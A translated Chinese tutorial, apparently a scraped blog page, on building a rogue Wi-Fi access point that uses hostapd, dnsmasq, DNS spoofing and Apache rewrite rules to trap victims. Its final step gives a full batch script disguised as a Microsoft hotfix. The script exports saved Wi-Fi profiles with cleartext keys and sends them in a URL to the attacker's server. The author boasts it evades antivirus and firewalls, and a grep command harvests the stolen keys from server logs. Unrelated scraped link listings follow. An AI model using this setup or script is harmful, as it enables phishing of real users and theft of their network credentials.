无线安全课堂:手把手教会你搭建伪AP接入点
概述
*本文假设读者对设置伪AP接入点以及Apache配置有足够了解。
在本攻击场景中,我们将使用到alfa无线网卡以及用于网络访问的以太网连接(虚拟机环境下,物理机下无需此配置)。你也可以使用虚拟接口执行这种攻击,但一定要确保使用合适的的接口名。
所用工具
hostapd(或airbase-ng)dnsmasq(或isc-dhcp-server)Apache2Nano或Vi文本编辑器grep
为了攻击环境设置更方便快捷,我就直接使用相对趁手的非括号内的工具了,当然你也可以选择对自己方便的工具。
新手指南 – 设置伪AP接入点
Hostapd
可以建立一个开放式(不加密)的,WPA2 personal或WPA2 enterprise的无线网络
dnsmasq
轻量级DNS / DHCP服务器,用于解析机器间的dns请求,同时也可以作为DHCP服务器为客户端分配IP地址
Apache
虽说其仅仅只是作为一个供客户端访问的Web服务,在攻击中Apache以及Mysql都不是那么重要,然而使用Apache可以让你的Web服务以及伪无线热点更加丰富多彩。尽管根据攻击场景的不同,会有一些其他更先进的技术,但是只要你是想设置一个伪无线热点,那么hostapd以及dnsmasq则是不可或缺的。这里的先进技术则是指的Apache的产品特性以及其灵活性。
举例:
比如说你勾引用户连接上你架设的无线热点,单纯的只是想嗅探或者重定向流量,那么你就不需要使用到Apache。如果你需要响应基于用户发起的请求,想通过某些技巧获得更多的敏感信息,这时Apache就得登场了。
注意:所有命令都以root身份执行,如果你是非root用户(标准用户)记得使用sudo命令
安装:
确保安装最新版本的工具:
apt update
apt install hostapd dnsmasq apache2
接着创建一个用于保存所有配置文件的目录
cd ~/Desktop
mkdir fakeap/
配置hostapd:
创建一个空白文档用以写入配置文件,打开终端然后创建hostapd配置文件
nano hostapd.conf
interface=<Your Fake AP interface>
driver=nl80211
ssid=<Desired AP Name>
hw_mode=g
channel=<Target AP Channel number>
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
保存并退出文档,每次执行攻击前都进行相应的修改
Channel选项中,如果数字填写不当很容易出问题
配置dnsmasq:
nano dnsmasq.conf
interface=<Fake AP Interface name> # wlan0 with hostapd, at0 with airbase-ng
dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
确保在dnsmasq.conf文件中定义接口名没有错
参数分解:
dhcp-range=10.0.0.10,10.0.0.250,12h: 客户端IP地址范围从 10.0.0.10 到 10.0.0.250, 网络子网掩码为 255.255.255.0 默认租约时间为 12小时.
dhcp-option=3,10.0.0.1: 3 为默认网关代码,随后是IP地址 i.e. 10.0.0.1
dhcp-option=6,10.0.0.1: 6 为DNS服务器随后是IP地址
这就是所有需要配置的信息了,简单吗?
接下来就运行服务,启动我们的伪无线热点吧!
Step 1:启动伪AP
首先结束掉可能会影响我们实验的运行进程
killall network-manager dnsmasq wpa_supplicant dhcpd
使用之前的配置文件启动hostapd
语法:hostapd /path/to/configuration/file.conf
cd ~/Desktop/fakeap/
hostapd hostapd.conf
成功启动hostapd,之后我们需要运行DHCP服务用以给客户端分配IP地址
Step 2:启动dhcp服务器
在调试模式下使用配置文件运行dnsmasq
语法:dnsmasq -C /path/to/configuration/file.conf -d
dnsmasq - C dnsmasq .conf - d
可选配置:
你可以为dnsmasq创建一个可选的fakehosts.conf文件,以便将目标网站流量重定向到你所需的IP地址
vi fakehosts .conf
10.0.0.1 apple.com
10.0.0.1 google.com
10.0.0.1 android.clients.google.com
10.0.0.1 microsoft.com
10.0.0.1 android.com
10.0.0.1 apple.com
10.0.0.1 google.com
10.0.0.1 android.clients.google.com
10.0.0.1 microsoft.com
10.0.0.1 android.com
只需给该文件加上-H参数传递给dnsmasq,之后这些站点的流量将得到控制。如果你只是希望针对某个网站或者特定客户端,可以早-H参数后面加上fakehosts.conf进行dns欺骗
dnsmasq -C dnsmasq.conf -H fakehosts.conf -d
Step 3:Apache2 webserver配置
Apache的Rewrite引擎允许我们处理Web请求,利用该技术我们可以玩出很多花样。无论是Android,iOS,Windows还是Mac,都可以通过apache websever定制针对不同类型设备的攻击,甚至可以精确到特定的操作系统版本。
比如说针对iOS 9.x客户端的攻击向量就与针对iOS 10客户端的攻击向量不同。
由于Windows机器的广泛使用,这里我们就以Windows机器为目标进行演示。
打开apache默认配置文件修改rewrite函数,这会将几乎所有URL重定向回我们架设的伪AP记录。
打开apache的默认配置文件
nano /etc/apache2/sites-enabled/000-default
在文件</ directory>标签之间的–> add后新开一行将/Fixit目录设置为例外(区分大小写)
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
--> add RewriteEngine On
--> add RewriteCond %{REQUEST_URI} !^/Fixit
--> add RewriteRule ^.*$ /Fixit/
</Directory>
利用社会工程学技巧,同时设计网页引诱用户下载并执行payload。你需要将index.html文件放置到/var/www/html/Fixit/
启用mod_rewrite模块:
a2enmod rewrite
您必须重新启动apache2才能更新配置
service apache2 restart
Step 4:DNS欺骗
运行dnsspoof即可将所有HTTP(非HTTPS)请求重定向到我们的apache服务器,并且用户不会访问到互联网(IP转发为禁用状态)
如果你攻击接入互联网的域,则该方法没有什么用处。这种情况就使用dnsmasq结合上面介绍的fakehosts.conf文件进行攻击。
由于我们没有给用户提供互联网访问权限,所以直接运行:
dnsspoof -i wlan0 #wlan0 is interface hostapd is operating on
Step 5:获取密钥
运行Apache的access.log,并通过grep转发管道内容
该正则表达式将解析我们传入的20字符的SSID/name,AP身份验证类型以及8~64字符WLAN密钥
tail -F /var/log/apache2/access.log | grep -E -o "<name>.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</name>"\|"<keyMaterial>..?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?</keyMaterial>"\|"<authentication>.?.?.?.?.?.?.?.?.?.?.?</authentication>" | uniq
命令分解:
tail -F <logfile>: Tail -F参数将读取access.log文件末尾10行内容,等待并显示新增内容.
输出将实时传递给grep
grep:
-E : 用于解析PATTERN这个正则表达式扩展
-o : 仅打印匹配行中的匹配内容(非空), 输出单独成行
uniq: 移除重复条目
Step 6:封装
在/var/www/下建立一个名为Fixit的目录,注意区分大小写
mkdir /var/www/Fixit
Step 7:秘密武器
Apache中的index.html下载链接指向我的自定义文件。比如Microsoft-Windows-Hotfix.bat,这个批处理文件并不复杂,已过杀毒软件且不受防火墙影响。只要浏览器能正常工作,那么该文件就能工作
@echo off
SET mypath=%~dp0
netsh wlan export profile > nul
netsh wlan export profile key=clear > nul
setlocal enableextensions enabledelayedexpansion
set /a counter=0
set filecontent=
for %%b in (*.xml) do (
set /a counter=!counter! + 1
:: echo %%b
for /f "delims=" %%a in ('type "%mypath%%%b"') do (
set filecontent=!filecontent!%%a
)
)
echo !filecontent! > %filename%data.txt
@rem The next line is platform specific. Sometimes in a diff folder
"c:Program FilesInternet Exploreriexplore.exe" microsoftfix.com/"!filecontent!"
用户一旦执行该恶意Wi-Fi密钥嗅探器,它将提取并解码WLAN配置文件。在用户设备中打开浏览器,然后指向microsoftfix.com(我们搭建的服务器)且URL中包含了之前收获的密钥,内容将存储在我们的apache日志(/var/logs/apache2/access.log)
我选择使用URL,因为这将数据传输到服务器上最安全的方法。在大多数机器上的防火墙可能阻止FTP传输,但是由用户自主点击下载的文件则不会触发杀毒软件保护。
你所需要做的便是过滤验证类型以及重要的密钥(Wi-Fi密钥)数据,在步骤5我们就使用tail以及grep命令进行过滤了。
<name>rootsh3ll</name>
<authentication>WPA2PSK</authentication>
<keyMaterial>iamrootsh3ll</keyMaterial>
结语
本文所述其实只是一个大略,更多的细节以及技巧都在作者自己所著的电子书籍中。
译者在这里并不推荐各位读者购买:
其一该书没有中译版本,如果自己就有阅读英文文献的能力,多逛逛相关社区几乎就能了解其中的许多奇淫巧计。
其二外国的月亮不一定就比国内的更圆,技术没国界这话真的没错,国内玩得有时候比国外大兄弟还要更6些。
无线安全课堂:手把手教会你搭建伪AP接入点的更多相关文章
- 伪Ap接入点
1.创建一个伪造的Ap接入点,必须购买一个无线网卡的设备,接受功率在300Mbps ,低于这个传输速率的值,效果很差,都达到用户可以连接验证的效果.其芯片必须支持kali linux 内核系统. 2. ...
- 学习笔记之C++入门到精通(名师教学·手把手教会)【职坐标】_腾讯课堂
C++入门到精通(名师教学·手把手教会)[职坐标]_腾讯课堂 https://ke.qq.com/course/101465#term_id=100105503 https://github.com/ ...
- 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击
有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...
- hadoop(二)搭建伪分布式集群
前言 前面只是大概介绍了一下Hadoop,现在就开始搭建集群了.我们下尝试一下搭建一个最简单的集群.之后为什么要这样搭建会慢慢的分享,先要看一下效果吧! 一.Hadoop的三种运行模式(启动模式) 1 ...
- hadoop搭建伪分布式集群(centos7+hadoop-3.1.0/2.7.7)
目录: Hadoop三种安装模式 搭建伪分布式集群准备条件 第一部分 安装前部署 1.查看虚拟机版本2.查看IP地址3.修改主机名为hadoop4.修改 /etc/hosts5.关闭防火墙6.关闭SE ...
- 超详细!CentOS 7 + Hadoop3.0.0 搭建伪分布式集群
超详细!CentOS 7 + Hadoop3.0.0 搭建伪分布式集群 ps:本文的步骤已自实现过一遍,在正文部分避开了旧版教程在新版使用导致出错的内容,因此版本一致的情况下照搬执行基本不会有大错误. ...
- Apache Nifi在Windows环境下搭建伪群集及证书登录
代码地址如下:http://www.demodashi.com/demo/11986.html 前些时间做了关于Apache Nifi分布式集群的搭建分享,但很多时候要搭建分布式集群机器资源是个问题, ...
- 大数据江湖之即席查询与分析(下篇)--手把手教你搭建即席查询与分析Demo
上篇小弟分享了几个“即席查询与分析”的典型案例,引起了不少共鸣,好多小伙伴迫不及待地追问我们:说好的“手把手教你搭建即席查询与分析Demo”啥时候能出?说到就得做到,差啥不能差人品,本篇只分享技术干货 ...
- 手把手教你搭建Pytest+Allure2.X环境详细教程,生成让你一见钟情的测试报告(非常详细,非常实用)
简介 宏哥之前在做接口自动化的时候,用的测试报告是HTMLTestRunner,虽说自定义模板后能满足基本诉求,但是仍显得不够档次,高端,大气,遂想用其他优秀的report框架替换之.一次偶然的机会, ...
随机推荐
- 程序员段子:世界上最大的同性交友平台github
程序员(又名程序猿)因为总是冲锋在网络的最前端,还有程序猿的各种特殊性,大家在茶余饭后都有很多关于程序员的段子流传.大多都是程序员自黑的,先说在前面,程序猿还是很好的!下面看看你有没有中枪的那一条呢? ...
- python爬虫学习:分布式抓取
前面的文章都是基于在单机操作,正常情况下,一台机器无论配置多么高,线程开得再多,也总会有一个上限,或者说成本过于巨大.因此,本文将提及分布式的爬虫,让爬虫的效率提高得更快. 构建分布式爬虫首先需要有多 ...
- ALTER DATABASE 修改一个数据库
SYNOPSIS ALTER DATABASE name SET parameter { TO | = } { value | DEFAULT } ALTER DATABASE name RESET ...
- ssh设置免秘钥登录
系统:CentOS7.2 需求:A服务器的fab用户需要使用www用户免秘钥登录到B服务器 换句话说,就是在A服务器的fab用户下,ssh www@B服务ip -p 端口 ,然后登录过去 ...
- Spring MVC全局异常后返回JSON异常数据
问题: 当前项目是作为手机APP后台支持,使用spring mvc + mybaits + shiro进行开发.后台服务与手机端交互是发送JSON数据.如果后台发生异常,会直接返回异常页面,显示异常内 ...
- Codeforces Round #569 题解
Codeforces Round #569 题解 CF1179A Valeriy and Deque 有一个双端队列,每次取队首两个值,将较小值移动到队尾,较大值位置不变.多组询问求第\(m\)次操作 ...
- Python 软件开发目录规范
目录规范: ATM #工程文件夹 ------| bin #用来存放可执行文件的 |---- start.py conf #用来存放配置信息的 |---- settings.py lib ...
- Python 字符编码-文件处理
.read #读取所有内容,光标移动到文件末尾.readable #判断文件是否可读.readline #读取一行内容,光标移动到第二行首部.readlines #读取每一行内容,存放于列表中.wri ...
- Linux思维导图之网络管理
查漏补缺,理解概念,及时总结,欢迎拍砖. IP地址和MAC地址: 1.设计形态不同.IP地址是基于网络拓扑设计出来的,可以人为改动:而MAC地址是制造商烧录好的不能改动,网卡决定了MAC地址,是固定的 ...
- c++中的string常用函数用法总结!
标准c++中string类函数介绍 注意不是CString 之所以抛弃char*的字符串而选用C++标准程序库中的string类,是因为他和前者比较起来,不必 担心内存是否足够.字符串长度等等,而且作 ...